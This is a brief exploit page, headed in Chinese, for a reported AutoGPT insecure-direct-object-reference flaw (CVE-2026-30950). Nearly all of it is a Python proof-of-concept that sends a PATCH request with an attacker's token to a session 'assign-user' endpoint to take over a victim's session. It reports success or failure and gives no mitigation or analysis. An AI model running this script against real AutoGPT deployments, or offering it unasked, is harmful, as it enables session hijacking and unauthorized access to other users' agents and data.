CVE-2026-30950 AutoGPT IDOR认证会话劫持漏洞

import requests # Configuration TARGET_URL = "http://target-autogpt-instance.com" VICTIM_SESSION_ID = "uuid-of-victim-session" ATTACKER_TOKEN = "attacker_jwt_or_api_token" # Vulnerable Endpoint url = f"{TARGET_URL}/sessions/{VICTIM_SESSION_ID}/assign-user" headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Exploit attempt: Send PATCH request to hijack the session # The vulnerability allows any authenticated user to assign a session to themselves # by bypassing the ownership check. try: response = requests.patch(url, headers=headers) if response.status_code == 200: print("[+] Exploit successful!") print(f"[+] Session {VICTIM_SESSION_ID} is now assigned to the attacker.") else: print(f"[-] Exploit failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {e}")